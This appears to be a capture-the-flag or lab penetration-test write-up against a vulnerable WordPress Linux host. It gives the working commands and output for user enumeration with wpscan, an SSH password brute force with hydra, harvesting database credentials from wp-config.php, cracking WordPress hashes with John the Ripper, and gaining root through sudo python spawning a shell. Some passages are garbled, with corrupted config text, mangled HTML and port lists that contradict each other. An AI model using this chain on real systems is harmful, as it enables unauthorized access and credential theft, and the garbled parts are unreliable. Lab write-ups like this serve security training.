## **Exposed Services**

Nmap scan results for each machine reveal the below services and OS details: nmap 192.168.1.110

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-06 19:17 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
30/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
ACC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
```

This scan identifies the services below as potential points of entry: - Target 1 - List of - Exposed Services

## Target 1

<u>Port</u>	<u>State</u>	<u>Service</u>
22/TCP	Open	SSH
80/TCP	Open	HTTP
111/TCP	Open	RCPBIND
139/TCP	Open	NETBIOS-SSN
145/TCP	Open	NETBIOS-SSN

The following vulnerabilities were identified on each target:

## Target 1

List of Critical Vulnerabilities

- WordPress Enumeration
- 2. Weak Credentials
- 3. No file security permission
- 4. Python root escalation

## **Exploitation**

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Target 1

- o flag1.txt: b9bbcb33e11b80be759c4e844862482d
- Exploit Used
  - Used wpscan to enumerate users from Target 1 WordPress site
  - wpscan --url 192.168.1.110/wordpress --enumerate u

```
[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===========> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] steven
| Found By: Wuthor Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[1] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[1] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Jun 6 22:07:37 2022
| Requests Done: 26
| Data Received: 119.956 KB
| Data Received: 119.956 KB
| Memory used: 123.887 MB
| Elapsed time: 00:00:01
| root@Kali:-# |
```

Using hydra to crack michael's password

```
rootaKali:-# hydra -l michael -P /usr/share/wordlists/rockyou.txt 192.168.1.110 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-06 23:40:32
[WARNING] Wany SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1434399 login tries (l:1/p:14344399), -096525 tries per task
[DATA] attacking ssh://192.168.1.110 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-06 23:40:40
rootaKali:-#
```

Password found: michael

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux conses with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

You have new mail.
michaelatargeti--$
```

Flag 1 found within service.html located in /var/www/html

```
Outer-social d-flex align-items-center's

(a href="#">ci class="fa fa-cleobo(">class="fa fa fa-cleobo(">class="fa fa fa-cleobo(">class="fa fa fa-cleobo(">class="fa fa fa fa cleobo(">class="fa fa fa cleobo(">class="fa fa fa cleobo(">class="fa fa fa cleobo(">class="fa fa fa fa cleobo(">class="fa fa fa cleobo(">clas
```

- Command:
  - Ssh michael@192.168.1.110
  - Password: michael
  - Cd /var/www/html

  - nano service.html
  - Ctrl+w flag
- flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c
- **Exploit Used** 
  - Same exploit from flag one
  - Command:
    - Ssh michael@192.168.1.110
    - Password: michael
    - Cd /var/www
    - Ls -l
    - Cat flag2.txt

```
michael@target1:/var/www/html$ cd ..
michael@target1:/var/www$ ls
flag2.txt
michael@target1:/var/www$ cat flag2.txt
flag2[fc3fd58dcda09ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- Flag3.txt: afc01ab56b50591e7dccf93122770cd2
- **Exploit Used** 
  - Same as flag 1 and 2
  - Command:
    - Ssh michael@192.168.1.110
    - Password: michael
    - Cd /var/www/html/wordpress
    - Cat wp-config.php

Password was displayed in plain text

```
* Apackage WordPress

*/

** MySQL settings - You can get this info from your web host ** //

/** The name of the database for WordPress */

/* MySQL MAME', 'wordpress');

/** MySQL database username */

define('DB_USER', 'roo');

/** MySQL database password */

define('DB_USER', 'roo');

/** WySQL hostname */

define('DB_OSTH', 'localhost');

/** Database Charset to use in creating database tables. */

define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */

define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */

define('DB_CHARSET', 'utf8mb4');

/** Authentication Unique Keys and Salts.

* Change these to different unique phrases!

* You can generate these using the {alink https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}

* You can tanage these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.

* absince 2.6.0

*/

define('AUTH_KEY',

define('SECURE_AUTH_KEY',

define('SECURE_AUTH_KEY',

define('SECURE_AUTH_KEY',

define('SECURE_AUTH_KEY',

define('SECURE_AUTH_KEY',

define('NONCE_KEY')

- "ABCH_WARGANG_PROSHED_SECURE_AUTH_SALT',

'ABCH_WARGANG_PROSHED_SECURE_AUTH_SALT',

'ABCH_WARGANG_PROSHED_SECURE_AUTH_SALT',

'ABCH_WARGANG_PROSHED_SECURE_AUTH_SALT',

'ABCH_WARGANG_PROSHED_SECURE_AUTH_SALT',

'BOTAMAGANG_PROSHED_SECURE_AUTH_SALT',

'BOTAMAGANG_
```

- Mysql -u root -p
- R@v3nSecurity

```
michaelātarget1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
Laffiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
```

- show databases;
- Use wordpress
- Show tables;

```
mysgl> show databases;
  Database
  information_schema
  mysql
  performance_schema
  wordpress
4 rows in set (0.00 sec)
mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
  Tables_in_wordpress
  wp_commentmeta
  wp_comments
  wp_links
  wp_options
  wp_postmeta
  wp_posts
  wp_term_relationships
  wp_term_taxonomy
  wp_termmeta
  wp_terms
  wp_usermeta
  wp_users
12 rows in set (0.00 sec)
mysql>
```

Select \* from wp\_posts;

- o Flag4: 715dea6c055b9fe3337544932f2941ce
- Exploit Used:
  - Weak credential salted hases and python root excalation privileges
  - Commands:
    - Mysql -u root -p
    - R@v3nSecurity

- show databases;
- Use wordpress
- Show tables;
- Select ID, user\_login, user\_pass from wp\_users;
  - This gives us the hashes for michael's and steven's passwords

```
mysql> select Id, user_login, user_pass from wp_users;

| Id | user_login | user_pass |

| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |

2 rows in set (0.00 sec)

mysql>
```

- Created .txt files including the hashes individually
- John steven.txt
  - Using john the ripper to crack the hash for steven's password hash
  - Password found: pink84

```
rootaKali:~# john steven.txt

Uping default input encoding: UTF-8
LBaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8×3])

Cost 1 (iteration count) is 8192 for all loaded hashes

Will run 2 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

Proceeding with incremental:ASCII

pink84

(?)

1g 0:00:07:26 DONE 3/3 (2022-06-07 01:03) 0.002238g/s 8280p/s 8280c/s 8280C/s posups..pingar

Use the "--show --format=phpass" options to display all of the cracked passwords reliably

Session completed

rootaKali:~#
```

- Ssh steven@192.168.1.110
- Password: pink84
- Sudo -l
  - To check sudo privileges
- Sudo python -c 'import pty;pty.spwan("/bin/bash")
  - This python code allows the user to escalate to root privileges
- Cd /root
- Ls
- Cat flag4.txt

```
root@Kali:-# ssh steven@192.168.1.110

steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 08:02:16 2020

$ sudo -l

Matching Nafaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/bin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python

$ sudp python -c 'import pty;pty.spamm(*/bin/bash*)'
root@largeti:/home/steven# is
root@largeti:/home/steven# cd /root
root@targeti:/home/steven# cd /root
root@targeti:-# ls
flag4.tt
```